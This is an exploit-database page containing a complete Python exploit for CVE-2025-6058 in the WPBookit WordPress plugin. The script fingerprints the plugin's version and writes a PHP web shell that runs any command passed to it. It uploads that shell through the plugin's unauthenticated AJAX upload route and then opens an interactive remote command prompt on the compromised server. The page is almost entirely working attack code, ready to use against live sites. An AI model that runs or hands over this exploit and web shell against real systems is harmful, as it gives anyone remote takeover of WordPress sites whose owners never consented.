Exploit databaseDownload repository ZIP
GH-1b7e9e33381de610ed798c33586763b8
0xgh057r3c0n/cve-2025-6058
Sources for CVE-2025-6058
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files5
0xgh057r3c0n/cve-2025-6058Revision ad95d7b7f3de
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2025-6058.py
Python · 6,510 bytes#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import requests
import re
import os
import sys
import time
from datetime import datetime
from urllib.parse import quote
requests.packages.urllib3.disable_warnings()
# Colors
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
CYAN = '\033[96m'
RESET = '\033[0m'
BOLD = '\033[1m'
class GhostShell:
def __init__(self, shell_url):
self.shell_url = shell_url
self.cwd = "/var/www/html"
def run_shell(self):
print(f"\n{YELLOW}[!] Interactive GhostShell Started — type 'exit' to quit.{RESET}\n")
while True:
prompt = f"{YELLOW}┌─[gaurav@0xgh057r3c0n]─[{self.cwd}]{RESET}\n{CYAN}└──╼ ${RESET} "
cmd = input(prompt).strip()
if not cmd:
continue
if cmd.lower() in ['exit', 'quit']:
print(f"\n{RED}[!] Session terminated. Goodbye!{RESET}\n")
break
if cmd.startswith("cd "):
path = cmd[3:].strip()
if path.startswith("/"):
self.cwd = path
elif path == "..":
self.cwd = os.path.dirname(self.cwd.rstrip("/"))
else:
self.cwd = os.path.normpath(self.cwd + "/" + path)
continue
full_cmd = f"cd {self.cwd} && {cmd}"
self.execute(full_cmd)
def execute(self, command):
try:
url = f"{self.shell_url}&cmd={quote(command)}"
resp = requests.get(url, timeout=15, verify=False)
if resp.status_code == 200:
print(f"{GREEN}{resp.text.strip()}{RESET}")
else:
print(f"{RED}[!] Failed to execute command. Server error.{RESET}")
except Exception as e:
print(f"{RED}[!] Error: {e}{RESET}")
def print_banner():
banner = r"""
_____________ _______________ _______________ ________ .________ _______________ .________ ______
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \ | ____/ / _____/\ _ \ | ____/ / __ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ |____ \ ______ / __ \ / /_\ \ |____ \ > <
\ \____\ / | \ /_____/ / \ \_/ \/ \ / \ /_____/ \ |__\ \\ \_/ \/ \/ -- \
\______ / \___/ /_______ / \_______ \_____ /\_______ \/______ / \_____ / \_____ /______ /\______ /
\/ \/ \/ \/ \/ \/ \/ \/ \/ \/
CVE-2025-6058 | WPBookit <= 1.0.4 File Upload Exploit (WordPress)
Author: 0xgh057r3c0n
GitHub: https://github.com/0xgh057r3c0n
"""
print(f"{BOLD}{CYAN}{banner}{RESET}")
def format_url(url):
if not url.startswith(("http://", "https://")):
url = "http://" + url
return url.rstrip('/')
def version_to_tuple(version):
return tuple(int(part) for part in version.split('.'))
def is_vulnerable_version(found_version, max_vulnerable="1.0.4"):
try:
return version_to_tuple(found_version) <= version_to_tuple(max_vulnerable)
except:
return False
def get_version(url, session, headers):
print(f"\n{CYAN}[>] Checking plugin version...{RESET}")
readme_url = f"{url}/wp-content/plugins/wpbookit/README.txt"
resp = session.get(readme_url, headers=headers, timeout=10)
if resp.status_code != 200:
print(f"{RED}[-] Unable to fetch plugin README.txt.{RESET}")
return None
match = re.search(r"Stable tag:\s*([0-9.]+)", resp.text)
if not match:
print(f"{RED}[-] Version info not found.{RESET}")
return None
version = match.group(1).strip()
print(f"{GREEN}[+] Found plugin version: {version}{RESET}")
if is_vulnerable_version(version):
print(f"{YELLOW}[!] Target version is vulnerable.{RESET}\n")
return version
else:
print(f"{RED}[-] Target version is not vulnerable.{RESET}")
return None
def create_shell():
shell_code = '<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>'
shell_file = "ghost_shell.php"
with open(shell_file, "w") as f:
f.write(shell_code)
return shell_file
def exploit_upload(url, session, headers):
print(f"{CYAN}[>] Uploading shell...{RESET}")
ajax_url = f"{url}/wp-admin/admin-ajax.php"
shell_file = create_shell()
with open(shell_file, 'rb') as f:
files = {
'cover_image_img': (shell_file, f, 'application/octet-stream')
}
data = {
'action': 'wpb_ajax_post',
'route_name': 'add_booking_type',
'title': 'ghost_shell',
'booking_type': '0xgh057r3c0n'
}
resp = session.post(ajax_url, headers=headers, files=files, data=data, timeout=15)
now = datetime.now()
shell_path = f"/wp-content/uploads/{now.year}/{now.strftime('%m')}/ghost_shell.php"
check_url = f"{url}{shell_path}?cmd=whoami"
verify = session.get(check_url, headers=headers, timeout=10)
os.remove(shell_file)
if verify.status_code == 200 and verify.text.strip():
print(f"{GREEN}[+] Upload successful.{RESET}")
print(f"{GREEN}[+] Shell URL: {check_url}{RESET}\n")
return check_url
else:
print(f"{RED}[-] Shell upload failed.{RESET}")
return None
def main():
print_banner()
parser = argparse.ArgumentParser(description="CVE-2025-6058 Exploit + Interactive Shell | By 0xgh057r3c0n")
parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://target.com)")
args = parser.parse_args()
session = requests.Session()
session.verify = False
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64)"
}
target_url = format_url(args.url)
version = get_version(target_url, session, headers)
if not version:
print(f"{RED}[!] Exploit aborted.{RESET}")
sys.exit(1)
shell_url = exploit_upload(target_url, session, headers)
if shell_url:
shell = GhostShell(shell_url.split("?cmd=")[0] + "?cmd=")
shell.run_shell()
else:
print(f"{RED}[-] Exploit failed. No shell available.{RESET}")
if __name__ == "__main__":
main()